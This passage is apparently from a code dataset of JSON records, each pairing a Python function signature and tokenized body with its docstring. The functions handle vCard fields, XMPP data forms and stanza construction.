:Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c16:m0"}
{"signature": "def rfc2426(self):", "body": "if self.type:<EOL><INDENT>p={\"<STR_LIT:type>\":self.type}<EOL><DEDENT>else:<EOL><INDENT>p={}<EOL><DEDENT>return rfc2425encode(self.name,self.cred,p)<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c16:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,self.name.upper(),None)<EOL>if self.type:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",self.type)<EOL><DEDENT>n.newTextChild(None,\"<STR_LIT>\",binascii.b2a_base64(self.cred))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c16:m2"}
{"signature": "def __init__(self,data):", "body": "<EOL>self.n = None<EOL>del self.n<EOL>self.content={}<EOL>if isinstance(data,libxml2.xmlNode):<EOL><INDENT>self.__from_xml(data)<EOL><DEDENT>else:<EOL><INDENT>self.__from_rfc2426(data)<EOL><DEDENT>if not self.content.get(\"<STR_LIT:N>\") and self.content.get(\"<STR_LIT>\"):<EOL><INDENT>s=self.content['<STR_LIT>'].value.replace(\"<STR_LIT:;>\",\"<STR_LIT:U+002C>\")<EOL>s=s.split(None,<NUM_LIT:2>)<EOL>if len(s)==<NUM_LIT:2>:<EOL><INDENT>s=u\"<STR_LIT>\" % (s[<NUM_LIT:1>],s[<NUM_LIT:0>])<EOL><DEDENT>elif len(s)==<NUM_LIT:3>:<EOL><INDENT>s=u\"<STR_LIT>\" % (s[<NUM_LIT:2>],s[<NUM_LIT:0>],s[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>s=u\"<STR_LIT>\" % (s[<NUM_LIT:0>],)<EOL><DEDENT>self.content[\"<STR_LIT:N>\"]=VCardName(\"<STR_LIT:N>\",s)<EOL><DEDENT>elif not self.content.get(\"<STR_LIT>\") and self.content.get(\"<STR_LIT:N>\"):<EOL><INDENT>self.__make_fn()<EOL><DEDENT>for c, (_unused, tp) in self.components.items():<EOL><INDENT>if self.content.has_key(c):<EOL><INDENT>continue<EOL><DEDENT>if tp==\"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (c,))<EOL><DEDENT>elif tp==\"<STR_LIT>\":<EOL><INDENT>self.content[c]=[]<EOL><DEDENT>elif tp==\"<STR_LIT>\":<EOL><INDENT>self.content[c]=None<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>", "docstring": "Initialize a VCard object from data which may be XML node\n        or an RFC2426 string.\n\n        :Parameters:\n            - `data`: vcard to parse.\n        :Types:\n            - `data`: `libxml2.xmlNode`, `unicode` or `str`", "id": "f15257:c17:m0"}
{"signature": "def __make_fn(self):", "body": "s=[]<EOL>if self.n.prefix:<EOL><INDENT>s.append(self.n.prefix)<EOL><DEDENT>if self.n.given:<EOL><INDENT>s.append(self.n.given)<EOL><DEDENT>if self.n.middle:<EOL><INDENT>s.append(self.n.middle)<EOL><DEDENT>if self.n.family:<EOL><INDENT>s.append(self.n.family)<EOL><DEDENT>if self.n.suffix:<EOL><INDENT>s.append(self.n.suffix)<EOL><DEDENT>s=u\"<STR_LIT:U+0020>\".join(s)<EOL>self.content[\"<STR_LIT>\"]=VCardString(\"<STR_LIT>\", s, empty_ok = True)<EOL>", "docstring": "Initialize the mandatory `self.fn` from `self.n`.\n\n        This is a workaround for buggy clients which set only one of them.", "id": "f15257:c17:m1"}
{"signature": "def __from_xml(self,data):", "body": "ns=get_node_ns(data)<EOL>if ns and ns.getContent()!=VCARD_NS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (VCARD_NS,))<EOL><DEDENT>if data.name!=\"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (data.name,))<EOL><DEDENT>n=data.children<EOL>dns=get_node_ns(data)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and dns and ns.getContent()!=dns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if not self.components.has_key(n.name):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>cl,tp=self.components[n.name]<EOL>if tp in (\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if self.content.has_key(n.name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (n.name,))<EOL><DEDENT>try:<EOL><INDENT>self.content[n.name]=cl(n.name,n)<EOL><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif tp==\"<STR_LIT>\":<EOL><INDENT>if not self.content.has_key(n.name):<EOL><INDENT>self.content[n.name]=[]<EOL><DEDENT>try:<EOL><INDENT>self.content[n.name].append(cl(n.name,n))<EOL><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>n=n.next<EOL><DEDENT>", "docstring": "Initialize a VCard object from XML node.\n\n        :Parameters:\n            - `data`: vcard to parse.\n        :Types:\n            - `data`: `libxml2.xmlNode`", "id": "f15257:c17:m2"}
{"signature": "def __from_rfc2426(self,data):", "body": "data=from_utf8(data)<EOL>lines=data.split(\"<STR_LIT:\\n>\")<EOL>started=<NUM_LIT:0><EOL>current=None<EOL>for l in lines:<EOL><INDENT>if not l:<EOL><INDENT>continue<EOL><DEDENT>if l[-<NUM_LIT:1>]==\"<STR_LIT:\\r>\":<EOL><INDENT>l=l[:-<NUM_LIT:1>]<EOL><DEDENT>if not l:<EOL><INDENT>continue<EOL><DEDENT>if l[<NUM_LIT:0>] in \"<STR_LIT>\":<EOL><INDENT>if current is None:<EOL><INDENT>continue<EOL><DEDENT>current+=l[<NUM_LIT:1>:]<EOL>continue<EOL><DEDENT>if not started and current and current.upper().strip()==\"<STR_LIT>\":<EOL><INDENT>started=<NUM_LIT:1><EOL><DEDENT>elif started and current.upper().strip()==\"<STR_LIT>\":<EOL><INDENT>current=None<EOL>break<EOL><DEDENT>elif current and started:<EOL><INDENT>self._process_rfc2425_record(current)<EOL><DEDENT>current=l<EOL><DEDENT>if started and current:<EOL><INDENT>self._process_rfc2425_record(current)<EOL><DEDENT>", "docstring": "Initialize a VCard object from an RFC2426 string.\n\n        :Parameters:\n            - `data`: vcard to parse.\n        :Types:\n            - `data`: `libxml2.xmlNode`, `unicode` or `str`", "id": "f15257:c17:m3"}
{"signature": "def _process_rfc2425_record(self,data):", "body": "label,value=data.split(\"<STR_LIT::>\",<NUM_LIT:1>)<EOL>value=value.replace(\"<STR_LIT>\",\"<STR_LIT:\\n>\").replace(\"<STR_LIT>\",\"<STR_LIT:\\n>\")<EOL>psplit=label.lower().split(\"<STR_LIT:;>\")<EOL>name=psplit[<NUM_LIT:0>]<EOL>params=psplit[<NUM_LIT:1>:]<EOL>if u\"<STR_LIT:.>\" in name:<EOL><INDENT>name=name.split(\"<STR_LIT:.>\",<NUM_LIT:1>)[<NUM_LIT:1>]<EOL><DEDENT>name=name.upper()<EOL>if name in (u\"<STR_LIT>\",u\"<STR_LIT>\"):<EOL><INDENT>name=name[<NUM_LIT:2>:]<EOL><DEDENT>if not self.components.has_key(name):<EOL><INDENT>return<EOL><DEDENT>if params:<EOL><INDENT>params=dict([p.split(\"<STR_LIT:=>\",<NUM_LIT:1>) for p in params])<EOL><DEDENT>cl,tp=self.components[name]<EOL>if tp in (\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if self.content.has_key(name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (name,))<EOL><DEDENT>try:<EOL><INDENT>self.content[name]=cl(name,value,params)<EOL><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif tp==\"<STR_LIT>\":<EOL><INDENT>if not self.content.has_key(name):<EOL><INDENT>self.content[name]=[]<EOL><DEDENT>try:<EOL><INDENT>self.content[name].append(cl(name,value,params))<EOL><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Parse single RFC2425 record and update attributes of `self`.\n\n        :Parameters:\n            - `data`: the record (probably multiline)\n        :Types:\n            - `data`: `unicode`", "id": "f15257:c17:m4"}
{"signature": "def rfc2426(self):", "body": "ret=\"<STR_LIT>\"<EOL>ret+=\"<STR_LIT>\"<EOL>for _unused, value in self.content.items():<EOL><INDENT>if value is None:<EOL><INDENT>continue<EOL><DEDENT>if type(value) is list:<EOL><INDENT>for v in value:<EOL><INDENT>ret+=v.rfc2426()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>v=value.rfc2426()<EOL>ret+=v<EOL><DEDENT><DEDENT>return ret+\"<STR_LIT>\"<EOL>", "docstring": "Get the RFC2426 representation of `self`.\n\n        :return: the UTF-8 encoded RFC2426 representation.\n        :returntype: `str`", "id": "f15257:c17:m6"}
{"signature": "def complete_xml_element(self, xmlnode, _unused):", "body": "for _unused1, value in self.content.items():<EOL><INDENT>if value is None:<EOL><INDENT>continue<EOL><DEDENT>if type(value) is list:<EOL><INDENT>for v in value:<EOL><INDENT>v.as_xml(xmlnode)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>value.as_xml(xmlnode)<EOL><DEDENT><DEDENT>", "docstring": "Complete the XML node with `self` content.\n\n        Should be overriden in classes derived from `StanzaPayloadObject`.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `_unused`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `_unused`: `libxml2.xmlDoc`", "id": "f15257:c17:m7"}
{"signature": "def __init__(self, value = None, label = None, values = None):", "body": "self.label = label<EOL>if value:<EOL><INDENT>self.value = value<EOL><DEDENT>elif values:<EOL><INDENT>warnings.warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>self.value = values[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize an `Option` object.\n\n        :Parameters:\n            - `value`: option value (mandatory).\n            - `label`: option label (human-readable description).\n            - `values`: for backward compatibility only.\n        :Types:\n            - `label`: `unicode`\n            - `value`: `unicode`", "id": "f15258:c0:m0"}
{"signature": "@property<EOL><INDENT>def values(self):<DEDENT>", "body": "return [self.value]<EOL>", "docstring": "Return list of option values (always single element). Obsolete. For\n        backwards compatibility only.", "id": "f15258:c0:m1"}
{"signature": "def complete_xml_element(self, xmlnode, doc):", "body": "_unused = doc<EOL>if self.label is not None:<EOL><INDENT>xmlnode.setProp(\"<STR_LIT:label>\", self.label.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>xmlnode.newTextChild(xmlnode.ns(), \"<STR_LIT:value>\", self.value.encode(\"<STR_LIT:utf-8>\"))<EOL>return xmlnode<EOL>", "docstring": "Complete the XML node with `self` content.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `doc`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15258:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def _new_from_xml(cls, xmlnode):<DEDENT>", "body": "label = from_utf8(xmlnode.prop(\"<STR_LIT:label>\"))<EOL>child = xmlnode.children<EOL>value = None<EOL>for child in xml_element_ns_iter(xmlnode.children, DATAFORM_NS):<EOL><INDENT>if child.name == \"<STR_LIT:value>\":<EOL><INDENT>value = from_utf8(child.getContent())<EOL>break<EOL><DEDENT><DEDENT>if value is None:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>return cls(value, label)<EOL>", "docstring": "Create a new `Option` object from an XML element.\n\n        :Parameters:\n            - `xmlnode`: the XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n\n        :return: the object created.\n        :returntype: `Option`", "id": "f15258:c0:m3"}
{"signature": "def __init__(self, name = None, values = None, field_type = None, label = None,<EOL>options = None, required = False, desc = None, value = None):", "body": "self.name = name<EOL>if field_type is not None and field_type not in self.allowed_types:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (field_type,))<EOL><DEDENT>self.type = field_type<EOL>if value is not None:<EOL><INDENT>if values:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.value = value<EOL><DEDENT>elif not values:<EOL><INDENT>self.values = []<EOL><DEDENT>else:<EOL><INDENT>self.values = list(values)<EOL><DEDENT>if field_type and not field_type.endswith(\"<STR_LIT>\") and len(self.values) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.label = label<EOL>if not options:<EOL><INDENT>self.options = []<EOL><DEDENT>elif field_type and not field_type.startswith(\"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.options = list(options)<EOL><DEDENT>self.required = required<EOL>self.desc = desc<EOL>", "docstring": "Initialize a `Field` object.\n\n        :Parameters:\n            - `name`: field name.\n            - `values`: raw field values. Not to be used together with `value`.\n            - `field_type`: field type.\n            - `label`: field label.\n            - `options`: optional values for the field.\n            - `required`: `True` if the field is required.\n            - `desc`: natural-language description of the field.\n            - `value`: field value or values in a field_type-specific type. May be used only\n              if `values` parameter is not provided.\n        :Types:\n            - `name`: `unicode`\n            - `values`: `list` of `unicode`\n            - `field_type`: `str`\n            - `label`: `unicode`\n            - `options`: `list` of `Option`\n            - `required`: `bool`\n            - `desc`: `unicode`\n            - `value`: `bool` for \"boolean\" field, `JID` for \"jid-single\", `list` of `JID`\n              for \"jid-multi\", `list` of `unicode` for \"list-multi\" and \"text-multi\"\n              and `unicode` for other field types.", "id": "f15258:c1:m0"}
{"signature": "def add_option(self, value, label):", "body": "if type(value) is list:<EOL><INDENT>warnings.warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>value = value[<NUM_LIT:0>]<EOL><DEDENT>if self.type not in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>option = Option(value, label)<EOL>self.options.append(option)<EOL>return option<EOL>", "docstring": "Add an option for the field.\n\n        :Parameters:\n            - `value`: option values.\n            - `label`: option label (human-readable description).\n        :Types:\n            - `value`: `list` of `unicode`\n            - `label`: `unicode`", "id": "f15258:c1:m3"}
{"signature": "def complete_xml_element(self, xmlnode, doc):", "body": "if self.type is not None and self.type not in self.allowed_types:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (self.type,))<EOL><DEDENT>if self.type is not None:<EOL><INDENT>xmlnode.setProp(\"<STR_LIT:type>\", self.type)<EOL><DEDENT>if not self.label is None:<EOL><INDENT>xmlnode.setProp(\"<STR_LIT:label>\", to_utf8(self.label))<EOL><DEDENT>if not self.name is None:<EOL><INDENT>xmlnode.setProp(\"<STR_LIT>\", to_utf8(self.name))<EOL><DEDENT>if self.values:<EOL><INDENT>if self.type and len(self.values) > <NUM_LIT:1> and not self.type.endswith(u\"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (self.type,))<EOL><DEDENT>for value in self.values:<EOL><INDENT>xmlnode.newTextChild(xmlnode.ns(), \"<STR_LIT:value>\", to_utf8(value))<EOL><DEDENT><DEDENT>for option in self.options:<EOL><INDENT>option.as_xml(xmlnode, doc)<EOL><DEDENT>if self.required:<EOL><INDENT>xmlnode.newChild(xmlnode.ns(), \"<STR_LIT>\", None)<EOL><DEDENT>if self.desc:<EOL><INDENT>xmlnode.newTextChild(xmlnode.ns(), \"<STR_LIT>\", to_utf8(self.desc))<EOL><DEDENT>return xmlnode<EOL>", "docstring": "Complete the XML node with `self` content.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `doc`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15258:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def _new_from_xml(cls, xmlnode):<DEDENT>", "body": "field_type = xmlnode.prop(\"<STR_LIT:type>\")<EOL>label = from_utf8(xmlnode.prop(\"<STR_LIT:label>\"))<EOL>name = from_utf8(xmlnode.prop(\"<STR_LIT>\"))<EOL>child = xmlnode.children<EOL>values = []<EOL>options = []<EOL>required = False<EOL>desc = None<EOL>while child:<EOL><INDENT>if child.type != \"<STR_LIT>\" or child.ns().content != DATAFORM_NS:<EOL><INDENT>pass<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>required = True<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>desc = from_utf8(child.getContent())<EOL><DEDENT>elif child.name == \"<STR_LIT:value>\":<EOL><INDENT>values.append(from_utf8(child.getContent()))<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>options.append(Option._new_from_xml(child))<EOL><DEDENT>child = child.next<EOL><DEDENT>if field_type and not field_type.endswith(\"<STR_LIT>\") and len(values) > <NUM_LIT:1>:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>return cls(name, values, field_type, label, options, required, desc)<EOL>", "docstring": "Create a new `Field` object from an XML element.\n\n        :Parameters:\n            - `xmlnode`: the XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n\n        :return: the object created.\n        :returntype: `Field`", "id": "f15258:c1:m5"}
{"signature": "def __init__(self, fields = None):", "body": "if fields is None:<EOL><INDENT>self.fields = []<EOL><DEDENT>else:<EOL><INDENT>self.fields = list(fields)<EOL><DEDENT>", "docstring": "Initialize an `Item` object.\n\n        :Parameters:\n            - `fields`: item fields.\n        :Types:\n            - `fields`: `list` of `Field`.", "id": "f15258:c2:m0"}
{"signature": "def add_field(self, name = None, values = None, field_type = None,<EOL>label = None, options = None, required = False, desc = None, value = None):", "body": "field = Field(name, values, field_type, label, options, required, desc, value)<EOL>self.fields.append(field)<EOL>return field<EOL>", "docstring": "Add a field to the item.\n\n        :Parameters:\n            - `name`: field name.\n            - `values`: raw field values. Not to be used together with `value`.\n            - `field_type`: field type.\n            - `label`: field label.\n            - `options`: optional values for the field.\n            - `required`: `True` if the field is required.\n            - `desc`: natural-language description of the field.\n            - `value`: field value or values in a field_type-specific type. May be used only\n              if `values` parameter is not provided.\n        :Types:\n            - `name`: `unicode`\n            - `values`: `list` of `unicode`\n            - `field_type`: `str`\n            - `label`: `unicode`\n            - `options`: `list` of `Option`\n            - `required`: `bool`\n            - `desc`: `unicode`\n            - `value`: `bool` for \"boolean\" field, `JID` for \"jid-single\", `list` of `JID`\n              for \"jid-multi\", `list` of `unicode` for \"list-multi\" and \"text-multi\"\n              and `unicode` for other field types.\n\n        :return: the field added.\n        :returntype: `Field`", "id": "f15258:c2:m4"}
{"signature": "def complete_xml_element(self, xmlnode, doc):", "body": "for field in self.fields:<EOL><INDENT>field.as_xml(xmlnode, doc)<EOL><DEDENT>", "docstring": "Complete the XML node with `self` content.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `doc`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15258:c2:m5"}
{"signature": "@classmethod<EOL><INDENT>def _new_from_xml(cls, xmlnode):<DEDENT>", "body": "child = xmlnode.children<EOL>fields = []<EOL>while child:<EOL><INDENT>if child.type != \"<STR_LIT>\" or child.ns().content != DATAFORM_NS:<EOL><INDENT>pass<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>fields.append(Field._new_from_xml(child))<EOL><DEDENT>child = child.next<EOL><DEDENT>return cls(fields)<EOL>", "docstring": "Create a new `Item` object from an XML element.\n\n        :Parameters:\n            - `xmlnode`: the XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n\n        :return: the object created.\n        :returntype: `Item`", "id": "f15258:c2:m6"}
{"signature": "def __init__(self, xmlnode_or_type = \"<STR_LIT>\", title = None, instructions = None,<EOL>fields = None, reported_fields = None, items = None):", "body": "if isinstance(xmlnode_or_type, libxml2.xmlNode):<EOL><INDENT>self.__from_xml(xmlnode_or_type)<EOL><DEDENT>elif xmlnode_or_type not in self.allowed_types:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (xmlnode_or_type,))<EOL><DEDENT>else:<EOL><INDENT>self.type = xmlnode_or_type<EOL>self.title = title<EOL>self.instructions = instructions<EOL>if fields:<EOL><INDENT>self.fields = list(fields)<EOL><DEDENT>else:<EOL><INDENT>self.fields = []<EOL><DEDENT>if reported_fields:<EOL><INDENT>self.reported_fields = list(reported_fields)<EOL><DEDENT>else:<EOL><INDENT>self.reported_fields = []<EOL><DEDENT>if items:<EOL><INDENT>self.items = list(items)<EOL><DEDENT>else:<EOL><INDENT>self.items = []<EOL><DEDENT><DEDENT>", "docstring": "Initialize a `Form` object.\n\n        :Parameters:\n            - `xmlnode_or_type`: XML element to parse or a form title.\n            - `title`: form title.\n            - `instructions`: instructions for the form.\n            - `fields`: form fields.\n            - `reported_fields`: fields reported in multi-item data.\n            - `items`: items of multi-item data.\n        :Types:\n            - `xmlnode_or_type`: `libxml2.xmlNode` or `str`\n            - `title`: `unicode`\n            - `instructions`: `unicode`\n            - `fields`: `list` of `Field`\n            - `reported_fields`: `list` of `Field`\n            - `items`: `list` of `Item`", "id": "f15258:c3:m0"}
{"signature": "def add_field(self, name = None, values = None, field_type = None,<EOL>label = None, options = None, required = False, desc = None, value = None):", "body": "field = Field(name, values, field_type, label, options, required, desc, value)<EOL>self.fields.append(field)<EOL>return field<EOL>", "docstring": "Add a field to the form.\n\n        :Parameters:\n            - `name`: field name.\n            - `values`: raw field values. Not to be used together with `value`.\n            - `field_type`: field type.\n            - `label`: field label.\n            - `options`: optional values for the field.\n            - `required`: `True` if the field is required.\n            - `desc`: natural-language description of the field.\n            - `value`: field value or values in a field_type-specific type. May be used only\n              if `values` parameter is not provided.\n        :Types:\n            - `name`: `unicode`\n            - `values`: `list` of `unicode`\n            - `field_type`: `str`\n            - `label`: `unicode`\n            - `options`: `list` of `Option`\n            - `required`: `bool`\n            - `desc`: `unicode`\n            - `value`: `bool` for \"boolean\" field, `JID` for \"jid-single\", `list` of `JID`\n              for \"jid-multi\", `list` of `unicode` for \"list-multi\" and \"text-multi\"\n              and `unicode` for other field types.\n\n        :return: the field added.\n        :returntype: `Field`", "id": "f15258:c3:m4"}
{"signature": "def add_item(self, fields = None):", "body": "item = Item(fields)<EOL>self.items.append(item)<EOL>return item<EOL>", "docstring": "Add and item to the form.\n\n        :Parameters:\n            - `fields`: fields of the item (they may be added later).\n        :Types:\n            - `fields`: `list` of `Field`\n\n        :return: the item added.\n        :returntype: `Item`", "id": "f15258:c3:m5"}
{"signature": "def make_submit(self, keep_types = False):", "body": "result = Form(\"<STR_LIT>\")<EOL>for field in self.fields:<EOL><INDENT>if field.type == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if not field.values:<EOL><INDENT>if field.required:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>continue<EOL><DEDENT>if keep_types:<EOL><INDENT>result.add_field(field.name, field.values, field.type)<EOL><DEDENT>else:<EOL><INDENT>result.add_field(field.name, field.values)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Make a \"submit\" form using data in `self`.\n\n        Remove uneeded information from the form. The information removed\n        includes: title, instructions, field labels, fixed fields etc.\n\n        :raise ValueError: when any required field has no value.\n\n        :Parameters:\n            - `keep_types`: when `True` field type information will be included\n              in the result form. That is usually not needed.\n        :Types:\n            - `keep_types`: `bool`\n\n        :return: the form created.\n        :returntype: `Form`", "id": "f15258:c3:m6"}
{"signature": "def copy(self):", "body": "return copy.deepcopy(self)<EOL>", "docstring": "Get a deep copy of `self`.\n\n        :return: a deep copy of `self`.\n        :returntype: `Form`", "id": "f15258:c3:m7"}
{"signature": "def complete_xml_element(self, xmlnode, doc):", "body": "if self.type not in self.allowed_types:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (self.type,))<EOL><DEDENT>xmlnode.setProp(\"<STR_LIT:type>\", self.type)<EOL>if self.type == \"<STR_LIT>\":<EOL><INDENT>return<EOL><DEDENT>ns = xmlnode.ns()<EOL>if self.title is not None:<EOL><INDENT>xmlnode.newTextChild(ns, \"<STR_LIT:title>\", to_utf8(self.title))<EOL><DEDENT>if self.instructions is not None:<EOL><INDENT>xmlnode.newTextChild(ns, \"<STR_LIT>\", to_utf8(self.instructions))<EOL><DEDENT>for field in self.fields:<EOL><INDENT>field.as_xml(xmlnode, doc)<EOL><DEDENT>if self.type != \"<STR_LIT:result>\":<EOL><INDENT>return<EOL><DEDENT>if self.reported_fields:<EOL><INDENT>reported = xmlnode.newChild(ns, \"<STR_LIT>\", None)<EOL>for field in self.reported_fields:<EOL><INDENT>field.as_xml(reported, doc)<EOL><DEDENT><DEDENT>for item in self.items:<EOL><INDENT>item.as_xml(xmlnode, doc)<EOL><DEDENT>", "docstring": "Complete the XML node with `self` content.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `doc`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15258:c3:m8"}
{"signature": "def __from_xml(self, xmlnode):", "body": "self.fields = []<EOL>self.reported_fields = []<EOL>self.items = []<EOL>self.title = None<EOL>self.instructions = None<EOL>if (xmlnode.type != \"<STR_LIT>\" or xmlnode.name != \"<STR_LIT:x>\"<EOL>or xmlnode.ns().content != DATAFORM_NS):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + xmlnode.serialize())<EOL><DEDENT>self.type = xmlnode.prop(\"<STR_LIT:type>\")<EOL>if not self.type in self.allowed_types:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\" % (self.type,))<EOL><DEDENT>child = xmlnode.children<EOL>while child:<EOL><INDENT>if child.type != \"<STR_LIT>\" or child.ns().content != DATAFORM_NS:<EOL><INDENT>pass<EOL><DEDENT>elif child.name == \"<STR_LIT:title>\":<EOL><INDENT>self.title = from_utf8(child.getContent())<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>self.instructions = from_utf8(child.getContent())<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>self.fields.append(Field._new_from_xml(child))<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>self.items.append(Item._new_from_xml(child))<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>self.__get_reported(child)<EOL><DEDENT>child = child.next<EOL><DEDENT>", "docstring": "Initialize a `Form` object from an XML element.\n\n        :Parameters:\n            - `xmlnode`: the XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15258:c3:m9"}
{"signature": "def __get_reported(self, xmlnode):", "body": "child = xmlnode.children<EOL>while child:<EOL><INDENT>if child.type != \"<STR_LIT>\" or child.ns().content != DATAFORM_NS:<EOL><INDENT>pass<EOL><DEDENT>elif child.name == \"<STR_LIT>\":<EOL><INDENT>self.reported_fields.append(Field._new_from_xml(child))<EOL><DEDENT>child = child.next<EOL><DEDENT>", "docstring": "Parse the <reported/> element of the form.\n\n        :Parameters:\n            - `xmlnode`: the element to parse.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15258:c3:m10"}
{"signature": "def __init__(self, element, from_jid = None, to_jid = None,<EOL>stanza_type = None, stanza_id = None,<EOL>error = None, error_cond = None,<EOL>return_path = None, language = None):", "body": "<EOL>self._error = None<EOL>self._from_jid = None<EOL>self._to_jid = None<EOL>self._stanza_type = None<EOL>self._stanza_id = None<EOL>self._language = language<EOL>if isinstance(element, ElementClass):<EOL><INDENT>self._element = element<EOL>self._dirty = False<EOL>self._decode_attributes()<EOL>if not element.tag.startswith(\"<STR_LIT:{>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._namespace, self.element_name = element.tag[<NUM_LIT:1>:].split(\"<STR_LIT:}>\")<EOL>if self._namespace not in STANZA_NAMESPACES:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._payload = None<EOL><DEDENT>else:<EOL><INDENT>self._element = None<EOL>self._dirty = True<EOL>self.element_name = unicode(element)<EOL>self._namespace = STANZA_CLIENT_NS<EOL>self._payload = []<EOL><DEDENT>self._ns_prefix = \"<STR_LIT>\".format(self._namespace)<EOL>self._element_qname = self._ns_prefix + self.element_name<EOL>if from_jid is not None:<EOL><INDENT>self.from_jid = from_jid<EOL><DEDENT>if to_jid is not None:<EOL><INDENT>self.to_jid = to_jid<EOL><DEDENT>if stanza_type:<EOL><INDENT>self.stanza_type = stanza_type<EOL><DEDENT>if stanza_id:<EOL><INDENT>self.stanza_id = stanza_id<EOL><DEDENT>if self.stanza_type == \"<STR_LIT:error>\":<EOL><INDENT>if error:<EOL><INDENT>self._error = StanzaErrorElement(error)<EOL><DEDENT>elif error_cond:<EOL><INDENT>self._error = 